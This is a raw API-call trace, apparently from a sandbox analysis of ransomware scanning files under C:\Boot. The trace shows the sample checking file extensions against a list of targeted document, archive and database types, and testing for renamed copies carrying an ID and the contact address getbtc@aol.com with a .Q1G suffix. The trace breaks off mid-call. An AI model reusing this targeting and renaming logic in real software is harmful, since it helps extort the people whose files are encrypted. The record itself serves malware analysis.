[0035.947] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0035.947] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0035.947] lstrlenW (lpString=".doc") returned 4 [0035.947] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0035.947] lstrlenW (lpString=".docx") returned 5 [0035.947] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0035.947] lstrlenW (lpString=".pdf") returned 4 [0035.947] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0035.947] lstrlenW (lpString=".xls") returned 4 [0035.947] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0035.947] lstrlenW (lpString=".xlsx") returned 5 [0035.947] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0035.947] lstrlenW (lpString=".ppt") returned 4 [0035.947] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0035.947] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0035.947] lstrlenW (lpString=".zip") returned 4 [0035.947] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0035.947] lstrlenW (lpString=".rar") returned 4 [0035.947] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0035.947] lstrlenW (lpString=".bz2") returned 4 [0035.947] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0035.947] lstrlenW (lpString=".7z") returned 3 [0035.947] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0035.947] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0035.947] lstrlenW (lpString=".dbf") returned 4 [0035.947] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0035.948] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0035.948] lstrlenW (lpString=".1cd") returned 4 [0035.948] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0035.948] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0035.948] lstrlenW (lpString=".jpg") returned 4 [0035.948] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0035.948] lstrcmpiW (lpString1=".LOG1", lpString2=".Q1G") returned -1 [0035.948] lstrlenW (lpString="BCD.LOG1") returned 8 [0035.948] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.948] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=0) returned 1 [0035.948] CloseHandle (hObject=0x19c) returned 1 [0035.948] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0035.948] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0035.948] lstrlenW (lpString=".doc") returned 4 [0035.948] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0035.948] lstrlenW (lpString=".docx") returned 5 [0035.948] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0035.948] lstrlenW (lpString=".pdf") returned 4 [0035.948] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0035.949] lstrlenW (lpString=".xls") returned 4 [0035.949] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0035.949] lstrlenW (lpString=".xlsx") returned 5 [0035.949] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0035.949] lstrlenW (lpString=".ppt") returned 4 [0035.949] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0035.949] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0035.949] lstrlenW (lpString=".zip") returned 4 [0035.949] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0035.949] lstrlenW (lpString=".rar") returned 4 [0035.949] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0035.949] lstrlenW (lpString=".bz2") returned 4 [0035.949] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0035.949] lstrlenW (lpString=".7z") returned 3 [0035.949] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0035.949] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0035.949] lstrlenW (lpString=".dbf") returned 4 [0035.949] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0035.949] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0035.949] lstrlenW (lpString=".1cd") returned 4 [0035.949] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0035.949] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0035.949] lstrlenW (lpString=".jpg") returned 4 [0035.949] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0035.949] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0035.949] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0035.949] lstrlenW (lpString=".doc") returned 4 [0035.949] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0035.949] lstrlenW (lpString=".docx") returned 5 [0035.949] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0035.949] lstrlenW (lpString=".pdf") returned 4 [0035.950] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0035.950] lstrlenW (lpString=".xls") returned 4 [0035.950] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0035.950] lstrlenW (lpString=".xlsx") returned 5 [0035.950] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0035.950] lstrlenW (lpString=".ppt") returned 4 [0035.950] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0035.950] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0035.950] lstrlenW (lpString=".zip") returned 4 [0035.950] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0035.950] lstrlenW (lpString=".rar") returned 4 [0035.950] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0035.950] lstrlenW (lpString=".bz2") returned 4 [0035.950] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0035.950] lstrlenW (lpString=".7z") returned 3 [0035.950] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0035.950] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0035.950] lstrlenW (lpString=".dbf") returned 4 [0035.950] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0035.950] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0035.950] lstrlenW (lpString=".1cd") returned 4 [0035.950] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0035.950] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0035.950] lstrlenW (lpString=".jpg") returned 4 [0035.950] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0035.950] lstrcmpiW (lpString1=".LOG2", lpString2=".Q1G") returned -1 [0035.950] lstrlenW (lpString="BCD.LOG2") returned 8 [0035.950] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.951] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=0) returned 1 [0035.951] CloseHandle (hObject=0x19c) returned 1 [0035.951] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0035.951] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0035.951] lstrlenW (lpString=".doc") returned 4 [0035.951] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0035.951] lstrlenW (lpString=".docx") returned 5 [0035.951] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0035.951] lstrlenW (lpString=".pdf") returned 4 [0035.951] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0035.951] lstrlenW (lpString=".xls") returned 4 [0035.951] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0035.951] lstrlenW (lpString=".xlsx") returned 5 [0035.951] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0035.951] lstrlenW (lpString=".ppt") returned 4 [0035.951] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0035.951] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0035.951] lstrlenW (lpString=".zip") returned 4 [0035.951] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0035.951] lstrlenW (lpString=".rar") returned 4 [0035.951] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0035.951] lstrlenW (lpString=".bz2") returned 4 [0035.951] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0035.951] lstrlenW (lpString=".7z") returned 3 [0035.951] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0035.952] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0035.952] lstrlenW (lpString=".dbf") returned 4 [0035.952] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0035.952] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0035.952] lstrlenW (lpString=".1cd") returned 4 [0035.952] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0035.952] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0035.952] lstrlenW (lpString=".jpg") returned 4 [0035.952] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0035.952] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0035.952] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0035.952] lstrlenW (lpString=".doc") returned 4 [0035.952] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0035.952] lstrlenW (lpString=".docx") returned 5 [0035.952] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0035.952] lstrlenW (lpString=".pdf") returned 4 [0035.952] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0035.952] lstrlenW (lpString=".xls") returned 4 [0035.952] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0035.952] lstrlenW (lpString=".xlsx") returned 5 [0035.952] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0035.952] lstrlenW (lpString=".ppt") returned 4 [0035.952] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0035.952] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0035.952] lstrlenW (lpString=".zip") returned 4 [0035.952] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0035.952] lstrlenW (lpString=".rar") returned 4 [0035.952] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0035.952] lstrlenW (lpString=".bz2") returned 4 [0035.952] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0035.952] lstrlenW (lpString=".7z") returned 3 [0035.952] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0035.953] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0035.953] lstrlenW (lpString=".dbf") returned 4 [0035.953] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0035.953] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0035.953] lstrlenW (lpString=".1cd") returned 4 [0035.953] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0035.953] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0035.953] lstrlenW (lpString=".jpg") returned 4 [0035.953] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0035.953] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0035.953] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0035.953] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.953] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=89168) returned 1 [0035.953] CloseHandle (hObject=0x19c) returned 1 [0035.953] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0035.953] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.953] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0035.954] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0035.954] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0035.954] lstrlenW (lpString=".doc") returned 4 [0035.954] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0035.954] lstrlenW (lpString=".docx") returned 5 [0035.954] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0035.954] lstrlenW (lpString=".pdf") returned 4 [0035.954] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0035.954] lstrlenW (lpString=".xls") returned 4 [0035.954] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0035.954] lstrlenW (lpString=".xlsx") returned 5 [0035.954] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0035.954] lstrlenW (lpString=".ppt") returned 4 [0035.954] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0035.954] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0035.954] lstrlenW (lpString=".zip") returned 4 [0035.954] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0035.954] lstrlenW (lpString=".rar") returned 4 [0035.954] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0035.954] lstrlenW (lpString=".bz2") returned 4 [0035.954] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0035.954] lstrlenW (lpString=".7z") returned 3 [0035.954] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0035.954] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0035.954] lstrlenW (lpString=".dbf") returned 4 [0035.954] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0035.954] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0035.954] lstrlenW (lpString=".1cd") returned 4 [0035.954] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0035.954] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0035.954] lstrlenW (lpString=".jpg") returned 4 [0035.955] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0035.955] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0035.955] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0035.955] lstrlenW (lpString=".doc") returned 4 [0035.955] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0035.955] lstrlenW (lpString=".docx") returned 5 [0035.955] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0035.955] lstrlenW (lpString=".pdf") returned 4 [0035.955] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0035.955] lstrlenW (lpString=".xls") returned 4 [0035.955] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0035.955] lstrlenW (lpString=".xlsx") returned 5 [0035.955] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0035.955] lstrlenW (lpString=".ppt") returned 4 [0035.955] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0035.955] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0035.955] lstrlenW (lpString=".zip") returned 4 [0035.955] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0035.955] lstrlenW (lpString=".rar") returned 4 [0035.955] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0035.955] lstrlenW (lpString=".bz2") returned 4 [0035.955] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0035.955] lstrlenW (lpString=".7z") returned 3 [0035.955] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0035.956] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0035.956] lstrlenW (lpString=".dbf") returned 4 [0035.956] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0035.956] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0035.956] lstrlenW (lpString=".1cd") returned 4 [0035.956] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0035.956] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0035.956] lstrlenW (lpString=".jpg") returned 4 [0035.956] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0035.956] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0035.956] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0035.956] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.956] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=87616) returned 1 [0035.956] CloseHandle (hObject=0x19c) returned 1 [0035.956] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0035.956] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.956] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0035.957] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0035.957] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0035.957] lstrlenW (lpString=".doc") returned 4 [0035.957] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0035.957] lstrlenW (lpString=".docx") returned 5 [0035.957] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0035.957] lstrlenW (lpString=".pdf") returned 4 [0035.957] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0035.957] lstrlenW (lpString=".xls") returned 4 [0035.957] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0035.957] lstrlenW (lpString=".xlsx") returned 5 [0035.957] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0035.957] lstrlenW (lpString=".ppt") returned 4 [0035.957] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0035.957] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0035.957] lstrlenW (lpString=".zip") returned 4 [0035.957] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0035.957] lstrlenW (lpString=".rar") returned 4 [0035.957] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0035.957] lstrlenW (lpString=".bz2") returned 4 [0035.957] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0035.957] lstrlenW (lpString=".7z") returned 3 [0035.957] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0035.957] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0035.957] lstrlenW (lpString=".dbf") returned 4 [0035.957] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0035.957] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0035.957] lstrlenW (lpString=".1cd") returned 4 [0035.957] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0035.957] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0035.957] lstrlenW (lpString=".jpg") returned 4 [0035.957] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0035.958] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0035.958] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0035.958] lstrlenW (lpString=".doc") returned 4 [0035.958] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0035.958] lstrlenW (lpString=".docx") returned 5 [0035.958] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0035.958] lstrlenW (lpString=".pdf") returned 4 [0035.958] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0035.958] lstrlenW (lpString=".xls") returned 4 [0035.958] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0035.958] lstrlenW (lpString=".xlsx") returned 5 [0035.958] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0035.958] lstrlenW (lpString=".ppt") returned 4 [0035.958] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0035.958] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0035.958] lstrlenW (lpString=".zip") returned 4 [0035.958] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0035.958] lstrlenW (lpString=".rar") returned 4 [0035.958] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0035.958] lstrlenW (lpString=".bz2") returned 4 [0035.958] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0035.958] lstrlenW (lpString=".7z") returned 3 [0035.958] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0035.958] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0035.958] lstrlenW (lpString=".dbf") returned 4 [0035.958] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0035.958] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0035.958] lstrlenW (lpString=".1cd") returned 4 [0035.958] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0035.958] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0035.958] lstrlenW (lpString=".jpg") returned 4 [0035.958] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0035.959] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0035.959] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0035.959] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.959] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=91712) returned 1 [0035.959] CloseHandle (hObject=0x19c) returned 1 [0035.959] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0035.959] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.959] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0035.959] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0035.959] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0035.959] lstrlenW (lpString=".doc") returned 4 [0035.959] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0035.959] lstrlenW (lpString=".docx") returned 5 [0035.959] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0035.959] lstrlenW (lpString=".pdf") returned 4 [0035.959] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0035.959] lstrlenW (lpString=".xls") returned 4 [0035.959] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0035.960] lstrlenW (lpString=".xlsx") returned 5 [0035.960] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0035.960] lstrlenW (lpString=".ppt") returned 4 [0035.960] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0035.960] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0035.960] lstrlenW (lpString=".zip") returned 4 [0035.960] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0035.960] lstrlenW (lpString=".rar") returned 4 [0035.960] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0035.960] lstrlenW (lpString=".bz2") returned 4 [0035.960] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0035.960] lstrlenW (lpString=".7z") returned 3 [0035.960] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0035.960] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0035.960] lstrlenW (lpString=".dbf") returned 4 [0035.960] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0035.960] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0035.960] lstrlenW (lpString=".1cd") returned 4 [0035.960] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0035.960] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0035.960] lstrlenW (lpString=".jpg") returned 4 [0035.960] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0035.960] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0035.960] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0035.960] lstrlenW (lpString=".doc") returned 4 [0035.960] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0035.960] lstrlenW (lpString=".docx") returned 5 [0035.960] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0035.960] lstrlenW (lpString=".pdf") returned 4 [0035.960] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0035.960] lstrlenW (lpString=".xls") returned 4 [0035.961] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0035.961] lstrlenW (lpString=".xlsx") returned 5 [0035.961] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0035.961] lstrlenW (lpString=".ppt") returned 4 [0035.961] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0035.961] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0035.961] lstrlenW (lpString=".zip") returned 4 [0035.961] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0035.961] lstrlenW (lpString=".rar") returned 4 [0035.961] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0035.961] lstrlenW (lpString=".bz2") returned 4 [0035.961] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0035.961] lstrlenW (lpString=".7z") returned 3 [0035.961] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0035.961] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0035.961] lstrlenW (lpString=".dbf") returned 4 [0035.961] lstrcmpiW (lpString1=".dbf", 